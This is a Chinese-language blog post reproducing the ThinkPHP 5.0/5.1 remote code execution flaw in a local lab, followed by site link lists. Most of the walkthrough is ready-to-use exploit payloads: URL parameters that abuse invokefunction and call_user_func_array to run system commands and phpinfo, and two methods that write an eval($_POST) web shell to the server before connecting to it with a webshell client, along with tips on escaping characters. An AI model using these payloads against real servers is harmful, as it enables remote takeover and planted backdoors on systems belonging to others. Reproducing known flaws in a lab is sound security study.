ThinkPHP 5.x远程命令执行漏洞复现


Posted in PHP onSeptember 23, 2019

一、漏洞描述

2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞:

https://blog.thinkphp.cn/869075 

漏洞的原因是由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由(默认未开启)的情况下可能导致远程代码执行,受影响的版本包括5.0和5.1。

二、漏洞影响版本

Thinkphp 5.x-Thinkphp 5.1.31

Thinkphp 5.0.x<=5.0.23

三、漏洞复现

1、官网下载Thinkphp 5.0.22,下载地址: http://www.thinkphp.cn/donate/download/id/1260.html

2、使用phpstudy搭建环境,解压下载的Thinkphp5.0.22到网站目录下,浏览器访问http://192.168.10.171/thinkphp5.0.22/public

 ThinkPHP 5.x远程命令执行漏洞复现 

3、利用system函数远程命令执行

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

ThinkPHP 5.x远程命令执行漏洞复现

4、通过phpinfo函数查看phpinfo()的信息 

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

ThinkPHP 5.x远程命令执行漏洞复现

5、写入shell

Payload如下:

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[cmd]);?^> >shell.php

注意:需要对特殊字符使用^转义(cmd环境下转义方式),windows环境的echo命令输出字符串到文档不用引号(单引号、双引号),部分字符url编码不编码都行。

ThinkPHP 5.x远程命令执行漏洞复现

6、查看是否成功写入shell

ThinkPHP 5.x远程命令执行漏洞复现

7、菜刀连接

ThinkPHP 5.x远程命令执行漏洞复现

8、第二种的写入shell的方法

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php @eval($_POST[test]);?>

ThinkPHP 5.x远程命令执行漏洞复现

9、查看是否成功写入文件

ThinkPHP 5.x远程命令执行漏洞复现

10、菜刀连接

ThinkPHP 5.x远程命令执行漏洞复现

总结

以上所述是小编给大家介绍的ThinkPHP 5.x远程命令执行漏洞复现,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!
如果你觉得本文对你有帮助,欢迎转载,烦请注明出处,谢谢!

PHP 相关文章推荐
透析PHP的配置文件php.ini
Oct 09 PHP
解决PHP在DOS命令行下却无法链接MySQL的技术笔记
Dec 29 PHP
PHP文章按日期(月日)SQL归档语句
Nov 29 PHP
PHP Directory 函数的详解
Mar 07 PHP
浅析php header 跳转
Jun 17 PHP
php目录操作实例代码
Feb 21 PHP
PHP批量生成静态HTML的简单原理和方法
Apr 20 PHP
Thinkphp中的volist标签用法简介
Jun 18 PHP
ThinkPHP页面跳转success与error方法概述
Jun 25 PHP
php代码架构的八点注意事项
Jan 25 PHP
PHP的new static和new self的区别与使用
Nov 27 PHP
Laravel 框架基于自带的用户系统实现登录注册及错误处理功能分析
Apr 14 PHP
PHP开启目录引索+fancyindex漂亮目录浏览带搜索功能
Sep 23 #PHP
redis+php实现微博(三)微博列表功能详解
Sep 23 #PHP
redis+php实现微博(二)发布与关注功能详解
Sep 23 #PHP
redis+php实现微博(一)注册与登录功能详解
Sep 23 #PHP
php日志函数error_log用法实例分析
Sep 23 #PHP
php扩展开发入门demo示例
Sep 23 #PHP
PHP使用phpunit进行单元测试示例
Sep 23 #PHP
You might like
php 多个submit提交表单 处理方法
2009/07/07 PHP
PHP字符串的编码问题的详细介绍
2013/04/27 PHP
Smarty foreach控制循环次数的实现详解
2013/07/03 PHP
PHP图片等比例缩放生成缩略图函数分享
2014/06/10 PHP
php生成curl命令行的方法
2015/12/14 PHP
php 策略模式原理与应用深入理解
2019/09/25 PHP
重构Javascript代码示例(重构前后对比)
2013/01/23 Javascript
javascript仿php的print_r函数输出json数据
2013/09/13 Javascript
jquery中的过滤操作详细解析
2013/12/02 Javascript
js实现iframe跨页面调用函数的方法
2014/12/13 Javascript
封装好的js判断操作系统与浏览器代码分享
2015/01/09 Javascript
原生js结合html5制作小飞龙的简易跳球
2015/03/30 Javascript
点击页面任何位置隐藏div的实现方法
2016/09/05 Javascript
Bootstrap企业网站实战项目4
2016/10/14 Javascript
Vue和Bootstrap的整合思路详解
2017/06/30 Javascript
详解webpack3如何正确引用并使用jQuery库
2017/08/26 jQuery
VSCode使用之Vue工程配置eslint
2019/04/30 Javascript
解决 viewer.js 动态更新图片导致无法预览的问题
2019/05/14 Javascript
vue 实现微信浮标效果
2019/09/01 Javascript
vue封装可复用组件confirm,并绑定在vue原型上的示例
2019/10/31 Javascript
JavaScript回调函数callback用法解析
2020/01/14 Javascript
JavaScript观察者模式原理与用法实例详解
2020/03/10 Javascript
Python实现返回数组中第i小元素的方法示例
2017/12/04 Python
python 定时修改数据库的示例代码
2018/04/08 Python
音频处理 windows10下python三方库librosa安装教程
2020/06/20 Python
利用PyQt5+Matplotlib 绘制静态/动态图的实现代码
2020/07/13 Python
美国室内和室外装饰花盆购物网站:ePlanters
2019/03/22 全球购物
编码转换,怎样实现将GB2312编码的字符串转换为ISO-8859-1编码的字符串
2014/01/07 面试题
俄语翻译实习生的自我评价分享
2013/11/06 职场文书
医学专业毕业生个人的求职信
2013/12/04 职场文书
个人简历中的自我评价怎么写
2014/01/26 职场文书
本科毕业自我鉴定
2014/03/20 职场文书
扩大国家免疫规划实施方案
2014/03/21 职场文书
敬老院献爱心活动总结
2014/07/08 职场文书
打架检讨书
2015/01/27 职场文书
redis lua限流算法实现示例
2022/07/15 Redis